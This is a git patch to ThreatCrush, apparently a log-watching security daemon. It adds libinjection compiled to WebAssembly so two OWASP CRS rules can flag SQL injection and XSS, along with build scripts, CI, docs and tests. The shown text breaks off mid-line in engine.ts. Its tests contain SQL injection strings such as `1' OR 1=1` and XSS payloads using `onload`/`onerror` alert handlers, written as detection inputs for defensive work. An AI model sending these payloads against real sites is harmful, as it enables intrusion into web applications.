From 122f713dd81652d5d8c77be9f20dad729f162b43 Mon Sep 17 00:00:00 2001 From: Anthony Ettinger Date: Fri, 25 Sep 2026 18:17:54 +0000 Subject: [PATCH 1/2] feat(cli): port CRS 942100 and 941100 on libinjection compiled to WebAssembly CRS's @detectSQLi (942100) and @detectXSS (941100) were skipped because they need libinjection. Vendor libinjection v4.0.0 (BSD-3-Clause, the commit ModSecurity v3 builds against) unmodified, compile it with zig 0.16.0 to a self-contained wasm32-wasi reactor module (no imports) through scripts/build-libinjection-wasm.mjs, and check the module in so building needs no C toolchain. `--check` rebuilds and compares the hash; a new CI job runs it. The generator now ports both rules with CRS's own targets and transformations, so a bare `1' OR 1=1` or `admin'--` is banned. The module ships in dist/libinjection/ with its licence and resolves from the bundle. Public rule counts move from 94 to 96 via the doc-claims mechanism. --- .github/workflows/pr-checks.yml | 24 + README.md | 4 +- apps/cli/README.md | 4 +- apps/cli/docs/auto-defence.md | 17 +- apps/cli/package.json | 5 +- apps/cli/scripts/build-crs-rules.mjs | 7 +- apps/cli/scripts/build-libinjection-wasm.mjs | 107 + apps/cli/scripts/libinjection-wasm.c | 41 + .../cli/src/core/__tests__/log-parser.test.ts | 47 + apps/cli/src/core/crs/NOTICE | 10 +- .../core/crs/__tests__/libinjection.test.ts | 85 + apps/cli/src/core/crs/engine.ts | 11 + apps/cli/src/core/crs/libinjection.ts | 71 + .../core/crs/libinjection/libinjection.wasm | Bin 0 -> 180356 bytes apps/cli/src/core/crs/rules.generated.ts | 61 +- apps/cli/src/core/crs/types.ts | 4 +- apps/cli/tsup.config.ts | 7 + apps/cli/vendor/libinjection/COPYING | 33 + .../vendor/libinjection/src/libinjection.h | 70 + .../libinjection/src/libinjection_error.h | 26 + .../libinjection/src/libinjection_html5.c | 830 ++ .../libinjection/src/libinjection_html5.h | 56 + .../libinjection/src/libinjection_sqli.c | 2342 ++++ .../libinjection/src/libinjection_sqli.h | 297 + .../libinjection/src/libinjection_sqli_data.h | 9651 +++++++++++++++++ .../libinjection/src/libinjection_xss.c | 1203 ++ .../libinjection/src/libinjection_xss.h | 23 + .../libinjection/tests/test-sqli-001.txt | 6 + .../libinjection/tests/test-sqli-002.txt | 6 + .../libinjection/tests/test-sqli-003.txt | 6 + .../libinjection/tests/test-sqli-004.txt | 7 + .../libinjection/tests/test-sqli-005.txt | 7 + .../libinjection/tests/test-sqli-006.txt | 7 + .../libinjection/tests/test-sqli-007.txt | 7 + .../libinjection/tests/test-sqli-008.txt | 7 + .../libinjection/tests/test-sqli-009.txt | 7 + .../libinjection/tests/test-sqli-010.txt | 7 + .../libinjection/tests/test-sqli-011.txt | 7 + .../libinjection/tests/test-sqli-012.txt | 7 + .../libinjection/tests/test-sqli-013.txt | 7 + .../libinjection/tests/test-sqli-014.txt | 7 + .../libinjection/tests/test-sqli-015.txt | 7 + .../libinjection/tests/test-sqli-016.txt | 7 + .../libinjection/tests/test-sqli-017.txt | 7 + .../libinjection/tests/test-sqli-018.txt | 7 + .../libinjection/tests/test-sqli-019.txt | 7 + .../libinjection/tests/test-sqli-020.txt | 7 + .../libinjection/tests/test-sqli-021.txt | 7 + .../libinjection/tests/test-sqli-022.txt | 7 + .../libinjection/tests/test-sqli-023.txt | 7 + .../libinjection/tests/test-sqli-024.txt | 7 + .../libinjection/tests/test-sqli-025.txt | 7 + .../libinjection/tests/test-sqli-026.txt | 7 + .../libinjection/tests/test-sqli-027.txt | 7 + .../libinjection/tests/test-sqli-028.txt | 7 + .../libinjection/tests/test-sqli-029.txt | 7 + .../libinjection/tests/test-sqli-030.txt | 8 + .../libinjection/tests/test-sqli-031.txt | 8 + .../libinjection/tests/test-sqli-032.txt | 8 + .../libinjection/tests/test-sqli-033.txt | 8 + .../libinjection/tests/test-sqli-034.txt | 8 + .../libinjection/tests/test-sqli-035.txt | 7 + .../libinjection/tests/test-sqli-036.txt | 9 + .../libinjection/tests/test-sqli-037.txt | 9 + .../libinjection/tests/test-sqli-038.txt | 9 + .../libinjection/tests/test-sqli-039.txt | 10 + .../libinjection/tests/test-sqli-040.txt | 10 + .../libinjection/tests/test-sqli-041.txt | 10 + .../libinjection/tests/test-sqli-042.txt | 10 + .../libinjection/tests/test-sqli-043.txt | 10 + .../libinjection/tests/test-sqli-044.txt | 10 + .../libinjection/tests/test-sqli-045.txt | 10 + .../libinjection/tests/test-sqli-046.txt | 10 + .../libinjection/tests/test-sqli-047.txt | 10 + .../libinjection/tests/test-sqli-048.txt | 10 + .../libinjection/tests/test-sqli-049.txt | 10 + .../libinjection/tests/test-sqli-050.txt | 10 + apps/web/src/app/deck/page.tsx | 2 +- apps/web/src/app/page.tsx | 2 +- 79 files changed, 15407 insertions(+), 27 deletions(-) create mode 100755 apps/cli/scripts/build-libinjection-wasm.mjs create mode 100644 apps/cli/scripts/libinjection-wasm.c create mode 100644 apps/cli/src/core/crs/__tests__/libinjection.test.ts create mode 100644 apps/cli/src/core/crs/libinjection.ts create mode 100644 apps/cli/src/core/crs/libinjection/libinjection.wasm create mode 100644 apps/cli/vendor/libinjection/COPYING create mode 100644 apps/cli/vendor/libinjection/src/libinjection.h create mode 100644 apps/cli/vendor/libinjection/src/libinjection_error.h create mode 100644 apps/cli/vendor/libinjection/src/libinjection_html5.c create mode 100644 apps/cli/vendor/libinjection/src/libinjection_html5.h create mode 100644 apps/cli/vendor/libinjection/src/libinjection_sqli.c create mode 100644 apps/cli/vendor/libinjection/src/libinjection_sqli.h create mode 100644 apps/cli/vendor/libinjection/src/libinjection_sqli_data.h create mode 100644 apps/cli/vendor/libinjection/src/libinjection_xss.c create mode 100644 apps/cli/vendor/libinjection/src/libinjection_xss.h create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-001.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-002.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-003.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-004.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-005.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-006.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-007.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-008.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-009.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-010.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-011.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-012.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-013.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-014.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-015.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-016.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-017.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-018.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-019.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-020.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-021.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-022.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-023.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-024.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-025.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-026.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-027.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-028.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-029.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-030.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-031.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-032.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-033.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-034.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-035.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-036.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-037.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-038.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-039.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-040.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-041.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-042.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-043.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-044.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-045.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-046.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-047.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-048.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-049.txt create mode 100644 apps/cli/vendor/libinjection/tests/test-sqli-050.txt diff --git a/.github/workflows/pr-checks.yml b/.github/workflows/pr-checks.yml index badc136c..c7d72dad 100644 --- a/.github/workflows/pr-checks.yml +++ b/.github/workflows/pr-checks.yml @@ -70,3 +70,27 @@ jobs: - name: Build browser extension run: pnpm --filter @profullstack/threatcrush-extension build + + libinjection-wasm: + # The checked-in libinjection.wasm must be exactly what the vendored C + # sources build (apps/cli/scripts/build-libinjection-wasm.mjs), so the + # binary shipped to npm is reviewable through its sources. + name: libinjection.wasm is reproducible + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v7 + + - name: Setup Node.js + uses: actions/setup-node@v7 + with: + node-version: 22 + + - name: Setup Zig + uses: mlugg/setup-zig@v2 + with: + version: 0.16.0 + use-cache: false + + - name: Rebuild and compare + run: node apps/cli/scripts/build-libinjection-wasm.mjs --check diff --git a/README.md b/README.md index 1a3e4da8..3d864554 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ --- -ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 94 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. +ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 96 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. ``` $ threatcrush monitor @@ -138,7 +138,7 @@ threatcrush store publish https://github.com/you/my-module # Publish your own | Component | What it covers | |-----------|----------------| -| `log-watcher` | nginx access log + syslog — 94 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | +| `log-watcher` | nginx access log + syslog — 96 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | | `ssh-guard` | auth.log / secure — failed logins, brute force, root logins, user enumeration | | `user-journal` | journald — the systemd journal | | `network-monitor` | Inbound connections to your listening ports — port scans, SYN floods | diff --git a/apps/cli/README.md b/apps/cli/README.md index b6efa64a..40eb101b 100644 --- a/apps/cli/README.md +++ b/apps/cli/README.md @@ -42,7 +42,7 @@ --- -ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 94 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. +ThreatCrush is a security daemon that runs on your server, **reading your logs and watching inbound connections** for live attacks. It checks every nginx request against 96 OWASP CRS rules (paranoia level 1) + 1 ThreatCrush rule with CRS anomaly scoring, runs 15 detection rules over auth, web and network events, auto-bans attackers, scans your codebase, spot-checks your URLs, and alerts you in real-time. ``` $ threatcrush monitor @@ -139,7 +139,7 @@ threatcrush store publish https://github.com/you/my-module # Publish your own | Component | What it covers | |-----------|----------------| -| `log-watcher` | nginx access log + syslog — 94 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | +| `log-watcher` | nginx access log + syslog — 96 OWASP CRS rules (PL1: SQLi, XSS, path traversal, RFI, RCE, PHP/Java injection, SSRF, scanners) + 1 ThreatCrush rule (OS files in the path) scored on every request | | `ssh-guard` | auth.log / secure — failed logins, brute force, root logins, user enumeration | | `user-journal` | journald — the systemd journal | | `network-monitor` | Inbound connections to your listening ports — port scans, SYN floods | diff --git a/apps/cli/docs/auto-defence.md b/apps/cli/docs/auto-defence.md index fa0db844..e1ff66d7 100644 --- a/apps/cli/docs/auto-defence.md +++ b/apps/cli/docs/auto-defence.md @@ -94,9 +94,20 @@ under `min_severity = "critical"` they alert without banning, and a single matching CRS rule is still not enough for a ban. What an access log cannot show, these rules cannot see: request bodies, -cookies and other headers. The two libinjection rules (942100 SQLi, 941100 -XSS) are not ported, so a bare `1' OR 1=1` scores nothing; `UNION SELECT`, -`SLEEP(`, script tags, traversal and the rest do. +cookies and other headers. + +CRS's two libinjection rules run on libinjection itself (v4.0.0, BSD-3-Clause, +the version ModSecurity v3 builds against), compiled to WebAssembly and shipped +in the package: 942100 (`@detectSQLi`, on arguments, argument names, the +User-Agent and the Referer) and 941100 (`@detectXSS`, on arguments, argument +names and the User-Agent). They catch what no regex rule does, such as a bare +`1' OR 1=1` or `admin'--`. libinjection judges a value by its SQL token shape, +so a few ordinary strings look like SQLi to it, as they do under ModSecurity: a +number followed by `--` (`2019 -- 2020`, `10--20`) and a word followed by a +`/* … */` comment. Apostrophes, quotes and SQL words in prose (`O'Brien`, +`rock 'n' roll`, `"exact phrase"`, `where is george`, JSON) are not. A site +whose visitors search for number ranges written with `--` should set +`exclude_rules = [942100]`. One rule of ThreatCrush's own is scored alongside CRS, the same way. It is not CRS and is not counted as CRS; its id is in the local range (1–99,999), clear of diff --git a/apps/cli/package.json b/apps/cli/package.json index a675f14c..7245b4ed 100644 --- a/apps/cli/package.json +++ b/apps/cli/package.json @@ -14,7 +14,8 @@ "start": "node dist/index.js", "test": "vitest run", "test:watch": "vitest", - "crs:build": "node scripts/build-crs-rules.mjs" + "crs:build": "node scripts/build-crs-rules.mjs", + "libinjection:build": "node scripts/build-libinjection-wasm.mjs" }, "keywords": [ "security", @@ -32,6 +33,8 @@ "dist/systemd/*.service", "dist/crs/LICENSE", "dist/crs/NOTICE", + "dist/libinjection/libinjection.wasm", + "dist/libinjection/COPYING", "README.md", "LICENSE" ], diff --git a/apps/cli/scripts/build-crs-rules.mjs b/apps/cli/scripts/build-crs-rules.mjs index 35cd96d5..0b3cb4c4 100755 --- a/apps/cli/scripts/build-crs-rules.mjs +++ b/apps/cli/scripts/build-crs-rules.mjs @@ -50,7 +50,7 @@ const TRANSFORMS = new Set([ ]); /** Operators implemented in src/core/crs/engine.ts. */ -const OPERATORS = new Set(['rx', 'pm', 'pmFromFile', 'contains', 'streq', 'beginsWith', 'endsWith', 'within']); +const OPERATORS = new Set(['rx', 'pm', 'pmFromFile', 'contains', 'streq', 'beginsWith', 'endsWith', 'within', 'detectSQLi', 'detectXSS']); const SEVERITIES = new Set(['CRITICAL', 'ERROR', 'WARNING', 'NOTICE']); @@ -234,6 +234,11 @@ function buildOperator(text) { for (const f of op.arg.split(/\s+/).filter(Boolean)) phrases.push(...readPhraseFile(f)); return { type: 'pm', phrases, negated: op.negated }; } + case 'detectSQLi': + case 'detectXSS': + // libinjection, compiled to WebAssembly (scripts/build-libinjection-wasm.mjs). + if (op.arg) throw new Skip(`@${op.name} with an argument`); + return { type: op.name, negated: op.negated }; default: return { type: op.name, arg: op.arg, negated: op.negated }; } diff --git a/apps/cli/scripts/build-libinjection-wasm.mjs b/apps/cli/scripts/build-libinjection-wasm.mjs new file mode 100755 index 00000000..91c7d7e5 --- /dev/null +++ b/apps/cli/scripts/build-libinjection-wasm.mjs @@ -0,0 +1,107 @@ +#!/usr/bin/env node +// Builds src/core/crs/libinjection/libinjection.wasm from the vendored +// libinjection C sources (vendor/libinjection, BSD-3-Clause) and +// scripts/libinjection-wasm.c, the interface ThreatCrush calls. +// +// node scripts/build-libinjection-wasm.mjs rebuild and write the module +// node scripts/build-libinjection-wasm.mjs --check fail if the checked-in module +// differs from a fresh build +// +// The module is checked in, so building and testing ThreatCrush needs no C +// toolchain; only this script needs zig, at exactly ZIG_VERSION (another +// version compiles different bytes). `zig` is taken from $ZIG or the PATH. +// +// libinjection v4.0.0, commit 211782219663f889f471650150df12b623c5766e of +// github.com/libinjection/libinjection — the commit ModSecurity v3 builds +// against. Its src/ files are vendored unmodified, with COPYING and a subset of +// its test vectors (tests/, data/) that src/core/crs/__tests__ runs. +// +// wasm32-wasi in the reactor model links zig's bundled wasi-libc statically +// and leaves no entry point: libinjection needs only memchr/strlen-style +// functions and malloc, none of which reach the host, so the module imports +// nothing. NDEBUG compiles out libinjection's assert()s, which would otherwise +// pull in WASI's fd_write and proc_exit to report and abort. + +import { execFileSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const CLI_ROOT = join(HERE, '..'); +const OUT = join(CLI_ROOT, 'src', 'core', 'crs', 'libinjection', 'libinjection.wasm'); + +export const ZIG_VERSION = '0.16.0'; +export const LIBINJECTION_VERSION = '4.0.0'; + +// Relative to CLI_ROOT, which is the compiler's working directory, so no +// absolute path can reach the output. +const SOURCES = [ + 'vendor/libinjection/src/libinjection_sqli.c', + 'vendor/libinjection/src/libinjection_xss.c', + 'vendor/libinjection/src/libinjection_html5.c', + 'scripts/libinjection-wasm.c', +]; +const EXPORTS = ['tc_input', 'tc_sqli', 'tc_fingerprint', 'tc_xss']; + +const sha256 = (bytes) => createHash('sha256').update(bytes).digest('hex'); + +function zig(args, options = {}) { + return execFileSync(process.env.ZIG || 'zig', args, { cwd: CLI_ROOT, encoding: 'utf8', ...options }); +} + +function build() { + let version; + try { + version = zig(['version']).trim(); + } catch { + throw new Error(`zig ${ZIG_VERSION} is needed to build libinjection.wasm (set $ZIG or put it on the PATH)`); + } + if (version !== ZIG_VERSION) throw new Error(`zig ${ZIG_VERSION} is needed to build libinjection.wasm, found ${version}`); + + const tmp = mkdtempSync(join(tmpdir(), 'libinjection-wasm-')); + try { + const bin = join(tmp, 'libinjection.wasm'); + zig([ + 'build-exe', + '-target', 'wasm32-wasi', + '-mexec-model=reactor', + '-fno-entry', + '-O', 'ReleaseFast', + '-fstrip', + '-fsingle-threaded', + '-cflags', '-std=c99', '-DNDEBUG', '-Ivendor/libinjection/src', '--', + ...SOURCES, + '-lc', + ...EXPORTS.map((e) => `--export=${e}`), + `-femit-bin=${bin}`, + '--cache-dir', join(tmp, 'cache'), + ], { stdio: ['ignore', 'inherit', 'inherit'] }); + const bytes = readFileSync(bin); + const imports = WebAssembly.Module.imports(new WebAssembly.Module(bytes)); + if (imports.length) throw new Error(`libinjection.wasm must import nothing, but imports ${imports.map((i) => `${i.module}.${i.name}`).join(', ')}`); + return bytes; + } finally { + rmSync(tmp, { recursive: true, force: true }); + } +} + +function main() { + const bytes = build(); + console.log(`libinjection ${LIBINJECTION_VERSION}, zig ${ZIG_VERSION}: ${bytes.length} bytes, sha256 ${sha256(bytes)}`); + if (process.argv.includes('--check')) { + let current; + try { current = readFileSync(OUT); } catch { /* missing */ } + if (!current || sha256(current) !== sha256(bytes)) { + console.error(`${OUT} (sha256 ${current ? sha256(current) : 'missing'}) is not what the sources build — run scripts/build-libinjection-wasm.mjs`); + process.exit(1); + } + return; + } + writeFileSync(OUT, bytes); + console.log(`wrote ${OUT}`); +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) main(); diff --git a/apps/cli/scripts/libinjection-wasm.c b/apps/cli/scripts/libinjection-wasm.c new file mode 100644 index 00000000..757bdf1e --- /dev/null +++ b/apps/cli/scripts/libinjection-wasm.c @@ -0,0 +1,41 @@ +/* + * The interface between libinjection (vendor/libinjection, BSD-3-Clause) and + * ThreatCrush's JavaScript wrapper (src/core/crs/libinjection.ts). Compiled + * with libinjection into src/core/crs/libinjection/libinjection.wasm by + * scripts/build-libinjection-wasm.mjs. + * + * JavaScript asks for an input buffer of n bytes, copies the value into it and + * calls tc_sqli(n) or tc_xss(n), which return libinjection's + * injection_result_t: 1 TRUE, 0 FALSE, -1 ERROR. + */ +#include + +#include "libinjection.h" +#include "libinjection_xss.h" + +static char *input; +static size_t input_cap; + +/* libinjection writes at most 5 tokens and a NUL; ModSecurity passes 8 bytes. */ +static char fingerprint[8]; + +/* A buffer of at least n bytes for the next call's input, or NULL if out of memory. */ +char *tc_input(size_t n) { + if (n > input_cap || input == NULL) { + free(input); + input_cap = n > 256 ? n : 256; + input = malloc(input_cap); + if (input == NULL) input_cap = 0; + } + return input; +} + +int tc_sqli(size_t n) { + fingerprint[0] = '\0'; + return (int)libinjection_sqli(input, n, fingerprint); +} + +/* The NUL-terminated fingerprint of the last tc_sqli call. */ +const char *tc_fingerprint(void) { return fingerprint; } + +int tc_xss(size_t n) { return (int)libinjection_xss(input, n); } diff --git a/apps/cli/src/core/__tests__/log-parser.test.ts b/apps/cli/src/core/__tests__/log-parser.test.ts index 17f8189d..f47d1a73 100644 --- a/apps/cli/src/core/__tests__/log-parser.test.ts +++ b/apps/cli/src/core/__tests__/log-parser.test.ts @@ -213,6 +213,53 @@ describe('web attack detection (OWASP CRS, PL1)', () => { expect(attackSeverity(assessment)).toBeNull(); }); + it('bans tautology and comment SQLi that only libinjection sees (CRS 942100)', () => { + // No regex rule at PL1 matches these; libinjection's tokenizer does. + for (const request of [ + 'GET /login?user=1%27%20OR%201=1 HTTP/1.1', + 'GET /login?user=1\\x27+OR+1=1 HTTP/1.1', + 'GET /login?user=admin%27--&pass=x HTTP/1.1', + 'GET /item?id=1%20or%202%201.e%2F1 HTTP/1.1', + ]) { + const assessment = assessNginxRequest(line(request)); + expect(assessment.matches.map((m) => m.id), request).toContain(942100); + expect(assessment.attackType, request).toBe('sqli'); + expect(attackSeverity(assessment), request).not.toBeNull(); + } + // 942100 also reads the User-Agent and Referer, as CRS does. + expect(assessNginxRequest(line('GET / HTTP/1.1', { ua: "1' OR 1=1--" })).matches.map((m) => m.id)).toContain(942100); + expect(assessNginxRequest(line('GET / HTTP/1.1', { referer: 'x%27 OR 1=1--' })).matches.map((m) => m.id)).toContain(942100); + }); + + it('scores XSS libinjection finds (CRS 941100) in arguments and the User-Agent', () => { + for (const entry of [ + line('GET /x?q=%22%3E%3Csvg%20onload=alert(1)%3E HTTP/1.1'), + line('GET /x?%3Cimg%20src=x%20onerror=alert(1)%3E=1 HTTP/1.1'), + line('GET / HTTP/1.1', { ua: '\\x22>' }), + ]) { + const assessment = assessNginxRequest(entry); + expect(assessment.matches.map((m) => m.id), entry.raw).toContain(941100); + expect(assessment.attackType, entry.raw).toBe('xss'); + expect(attackSeverity(assessment), entry.raw).not.toBeNull(); + } + }); + + it('leaves apostrophes, quotes and SQL words in ordinary input alone', () => { + for (const path of [ + "/search?q=O'Brien", + '/search?q=O%27Brien+and+Smith', + '/search?q=rock+%27n%27+roll', + '/search?q=%22exact+phrase%22', + '/search?q=don%27t+stop+believin%27', + '/search?q=where+is+george', + '/search?q=1+or+2', + '/api/items?filter=%7B%22status%22%3A%22open%22%2C%22n%22%3A1%7D', + '/profile?email=o%27brien%40example.com', + ]) { + expect(assessNginxRequest(line(`GET ${path} HTTP/1.1`, { referer: `https://example.com${path}` })).score, path).toBe(0); + } + }); + it('keeps detectAttackPattern answering with the attack type', () => { expect(detectAttackPattern('/../../etc/passwd')).toBe('path_traversal'); expect(detectAttackPattern('/topics/rochester/podcasts.rss')).toBeNull(); diff --git a/apps/cli/src/core/crs/NOTICE b/apps/cli/src/core/crs/NOTICE index 9c24ec84..f1a424c2 100644 --- a/apps/cli/src/core/crs/NOTICE +++ b/apps/cli/src/core/crs/NOTICE @@ -16,9 +16,13 @@ Changes made: the paranoia-level-1 rules from REQUEST-913, 930, 931, 932, 933, 934, 941, 942 and 944 whose targets appear in a web server access log were converted by apps/cli/scripts/build-crs-rules.mjs into a JSON rule table (regular expressions translated from PCRE to JavaScript syntax, phrase files -inlined, targets an access log cannot record removed). Rules that could not be -translated faithfully were left out. The evaluation engine is ThreatCrush's -own; it is not ModSecurity. +inlined, targets an access log cannot record removed). Rules 942100 and +941100 (@detectSQLi, @detectXSS) call libinjection, which is not CRS: it ships +compiled to WebAssembly in this package's dist/libinjection/, with its own +licence (BSD-3-Clause) in COPYING there; its sources are vendored under +apps/cli/vendor/libinjection. Rules that could not be translated faithfully +were left out. The evaluation engine is ThreatCrush's own; it is not +ModSecurity. Also derived from CRS: ThreatCrush's own rule 10001 (THREATCRUSH_RULES in rules.generated.ts), which is not part of CRS. It applies the phrases of CRS's diff --git a/apps/cli/src/core/crs/__tests__/libinjection.test.ts b/apps/cli/src/core/crs/__tests__/libinjection.test.ts new file mode 100644 index 00000000..b5c783a9 --- /dev/null +++ b/apps/cli/src/core/crs/__tests__/libinjection.test.ts @@ -0,0 +1,85 @@ +import { describe, it, expect } from 'vitest'; +import { readdirSync, readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { detectSQLi, detectXSS } from '../libinjection.js'; + +// libinjection's own test vectors (vendor/libinjection, BSD-3-Clause), run +// against the checked-in libinjection.wasm the way upstream's harnesses run +// them against the C library. +const VENDOR = join(__dirname, '..', '..', '..', '..', 'vendor', 'libinjection'); +const rtrim = (s: string) => s.replace(/[ \n\t\r]+$/, ''); + +describe('libinjection.wasm against libinjection tests/test-sqli-*.txt', () => { + // src/testdriver.c, test type 2: the fingerprint when libinjection_sqli says + // SQLi, else nothing. + const files = readdirSync(join(VENDOR, 'tests')).filter((f) => f.startsWith('test-sqli-')); + + it.each(files)('%s', (file) => { + const text = readFileSync(join(VENDOR, 'tests', file), 'latin1'); + const m = /^--TEST--\n[\s\S]*?--INPUT--\n([\s\S]*?)--EXPECTED--\n([\s\S]*)$/.exec(text); + expect(m, 'test file layout').not.toBeNull(); + const { result, fingerprint } = detectSQLi(rtrim(m![1])); + expect(result ? fingerprint : '').toBe(rtrim(m![2])); + }); +}); + +/** src/reader.c's modp_url_decode, including its `i + 2 < len` boundary. */ +function readerUrlDecode(s: string): string { + let out = ''; + for (let i = 0; i < s.length; ) { + const hex = s.slice(i + 1, i + 3); + if (s[i] === '+') { + out += ' '; + i += 1; + } else if (s[i] === '%' && i + 2 < s.length && /^[0-9A-Fa-f]{2}$/.test(hex)) { + out += String.fromCharCode(parseInt(hex, 16)); + i += 3; + } else { + out += s[i]; + i += 1; + } + } + return out; +} + +/** The inputs of data/ sample files as src/reader.c reads them: blank and # lines skipped, URL-decoded. */ +function samples(prefix: string): string[] { + return readdirSync(join(VENDOR, 'data')) + .filter((f) => f.startsWith(prefix)) + .flatMap((f) => readFileSync(join(VENDOR, 'data', f), 'latin1').split('\n')) + .map(rtrim) + .filter((l) => l && !l.startsWith('#')) + .map(readerUrlDecode); +} + +describe('libinjection.wasm against libinjection data/ samples', () => { + // Upstream's src/test-samples-*.sh pass while at most that many inputs of + // all their sample files are misjudged; a subset is vendored. + it('finds SQLi in the SQLi samples (test-samples-sqli-positive.sh: -m 18)', () => { + const inputs = samples('sqli-'); + expect(inputs.length).toBeGreaterThan(500); + expect(inputs.filter((s) => detectSQLi(s).result === 0).length).toBeLessThanOrEqual(18); + }); + + it('leaves the known false positives alone (test-samples-sqli-negative.sh: -m 21)', () => { + const inputs = samples('false_positives'); + expect(inputs.length).toBeGreaterThan(400); + expect(inputs.filter((s) => detectSQLi(s).result !== 0).length).toBeLessThanOrEqual(21); + }); + + it('finds XSS in the XSS samples (test-samples-xss-positive.sh: -m 20)', () => { + const inputs = samples('xss-'); + expect(inputs.length).toBeGreaterThan(500); + expect(inputs.filter((s) => detectXSS(s) === 0).length).toBeLessThanOrEqual(20); + }); +}); + +describe('the libinjection wrappers', () => { + it('read byte strings, one char per byte, of any length', () => { + // Bytes above 0x7f pass through unchanged, and a long input grows the buffer. + expect(detectSQLi("\xe9' OR 1=1--").result).toBe(1); + expect(detectSQLi(`${'a'.repeat(100_000)}' OR 1=1--`).result).toBe(1); + expect(detectSQLi('caf\xe9').result).toBe(0); + expect(detectXSS(`${'x'.repeat(100_000)}`)).toBe(1); + }); +}); diff --git a/apps/cli/src/core/crs/engine.ts b/apps/cli/src/core/crs/engine.ts index 89472616..b7197a26 100644 --- a/apps/cli/src/core/crs/engine.ts +++ b/apps/cli/src/core/crs/engine.ts @@ -13,6 +13,7 @@ import { CRS_RULES, THREATCRUSH_RULES } from './rules.generated.js'; import { TRANSFORMS, lowercase } from './transforms.js'; +import { detectSQLi, detectXSS, loadLibinjection } from './libinjection.js'; import type { CrsChainLink, CrsOperator, CrsRule, CrsSeverity, CrsTarget } from './types.js'; export const SEVERITY_POINTS: Record = { CRITICAL: 5, ERROR: 4, WARNING: 3, NOTICE: 2 }; @@ -155,6 +156,16 @@ function compileOperator(op: CrsOperator): (value: string) => boolean { case 'beginsWith': test = (v) => v.startsWith(op.arg); break; case 'endsWith': test = (v) 